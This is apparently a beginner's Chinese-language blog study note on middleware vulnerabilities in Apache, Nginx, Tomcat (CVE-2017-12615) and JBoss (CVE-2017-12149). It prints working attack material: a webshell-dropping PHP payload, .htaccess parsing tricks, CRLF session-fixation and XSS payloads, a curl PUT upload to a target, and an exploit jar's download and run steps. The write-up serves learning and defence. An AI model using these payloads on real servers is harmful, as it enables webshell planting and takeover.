網絡安全自學篇-中間件漏洞(二)

一個網絡安全小白在學習過程中記錄下的筆記,希望在CSDN能和大家一起成長,學習,分享,進步,下面分享的是中間件漏洞系列,希望對入門網安的朋友們有所幫助,大神有興趣看看即可,勿噴感謝,同時也歡迎各位師傅私聊交流學習。文章有所參考,也感謝教授我網安知識的師父們,感謝出生在這個互聯網時代,知識觸手可及。

Apache解析漏洞

漏洞原因:
Apache是從右到左開始識別解析,如果識別不了就跳過繼續往左識別,比如jadore.php.iso.war是Apache不可識別解析,Apache就會把其解析成php,一般可以前端繞過,如果Apache中.htaccess可被執行,且可以上傳,那麼可嘗試在.htaccess中寫入:

<FileMatch "jadore.jpg">SetHandler application/x-httpd-php</FileMatch>

然後上傳shell.jpg的木馬,這樣shell.jpg就可解析爲php文件。
**漏洞條件:**結合文件上傳即可

Apache目錄遍歷漏洞

由於開啓了允許訪問目錄,或者文件名可以任意更改而服務器支持“~/”,“…/”等特殊符號的目錄回溯,從而使攻擊者越權訪問或者覆蓋敏感數據,如網站的配置文件、系統的核心文件,這樣的缺陷被命名爲路徑遍歷漏洞。

Nginx目錄遍歷漏洞

由於開啓了允許訪問目錄,或者文件名可以任意更改而服務器支持“~/”,“…/”等特殊符號的目錄回溯,從而使攻擊者越權訪問或者覆蓋敏感數據,如網站的配置文件、系統的核心文件,這樣的缺陷被命名爲路徑遍歷漏洞。

Nginx解析漏洞

Nginx<8.03
Fast-CGI默認開啓,上傳jadore.jpg,內容爲

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>

接着訪問jadore.jpg/.php,在這個目錄下就會生成一句話木馬shell.php

Nginx-CRLF漏洞

CRLF(Carriage-Return Line-Feed)大意是指回車換行
在這裏插入圖片描述
在這裏插入圖片描述
在HTTP協議中,HTTP header與HTTP Body是用兩個CRLF分隔的,瀏覽器就是根據這兩個CRLF來取出HTTP內容並顯示出來。所以,一旦我們能夠控制HTTP消息頭中的字符,注入一些惡意的換行,這樣我們就能注入一些會話Cookie或者HTML代碼。CRLF漏洞常出現在Location與Set-cookie消息頭中。
1.通過CRLF注入構造會話固定漏洞
請求參數:http://*****%0aSet-cookie:sessionid%3Dwoyun
服務器返回:

HTTP/1.1 200 OK
Location:http://*****
Set-cookie:sessionid=jadore

2.通過CRLF注入消息頭引發XSS漏洞
在請求參數中插入CRLF字符:

?email=a%0d%0a%0d%0a<script>alert(/xss/);</script>

服務器返回:

HTTP/1.1 200 OK
Set-Cookie:de=a<script>alert(/xss/);</script>

原理:服務器端沒有過濾\r\n,而又把用戶輸入的數據放在HTTP頭中,從而導致安全隱患。
3.瀏覽器的Filter是瀏覽器應對一些反射型XSS做的保護策略,當url中包含XSS相關特徵的時候就會過濾掉不顯示在頁面中。
通過在數據包中http頭中注入X-XSS-Protection: 0,關閉IE8的XSS Filter功能。

?url=%0aX-XSS-Protection:%200%0d%0a%0d%0a<img%20src=1%20οnerrοr=alert(/xss/)>

九、Tomcat任意文件上傳漏洞
CVE-2017-12615
條件:Tomcat安裝目錄下的配置文件web.xml中的org.apache.servlets.DefaultServlet方法下有該代碼則表示Tomcat已經開啓可PUT方法:

<init-param>
	<param-name>	
		readonly//只讀屬性
	</param-name>
	<param-value>
		false//關閉
	</param-value> 
</init-param>

在這裏插入圖片描述
因此我們可以通過PUT方式上傳木馬
同時如果要防禦該類漏洞將false改爲true即可,即不允許DELETE和PUT操作
查看Tomcat版本知道存在遠程代碼執行
在這裏插入圖片描述
創建一個.jsp文件(例如test.jsp):

<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write  executed.</h3></body></html>"); %>

在目標服務器上執行curl命令:

curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp

通過瀏覽到目標地址來檢查文件是否已上傳:

curl http://target-host-or-ip-address:port/test.jsp

JBoss反序列化RCE漏洞

該漏洞位於JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。但近期有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需用戶驗證在系統上執行任意命令,獲得服務器的控制權。
1.下載jboss-as-6.1.0-final,下載下來是一個壓縮包
http://jbossas.jboss.org/downloads/
2.把他解壓到一個目錄下,我的是C:\JBOSS\jboss-6.1.0.Final(路徑最好不要有空格)
3…新建環境變量:JBOSS_HOME:值爲: C:\JBOSS\jboss-6.1.0.Final
在path中加入:%JBOSS_HOME%\bin; (記得加分號隔開前一個路徑)
4.完成環境變量配置後,在C:\JBOSS\jboss-6.1.0.Final\bin下打開cmd,輸入call run.bat。運行bat文件。出現紅標即成功。(記得不要忘了環境變量path中要有c:\system32…那個windows命令集變量,自行百度)
5.C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml修改配置文件,使網絡中的主機都能訪問 JBOSS
在這裏插入圖片描述
在這裏插入圖片描述
5.在瀏覽器中輸入localhost:8080或127.0.0.1:8080(localhost不行可以試試這個)打開JBOSS。或者http://YourHost:8080
在這裏插入圖片描述
6.進入invoker/readonly,若顯示HTTP Status 500 -,則顯示漏洞存在。
在這裏插入圖片描述
7.下載EXP:git clone https://github.com/yunxu1/jboss-_CVE-2017-12149
在這裏插入圖片描述
8.執行命令

java -jar jboss反序列化_CVE-2017-12149.jar 

在這裏插入圖片描述
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章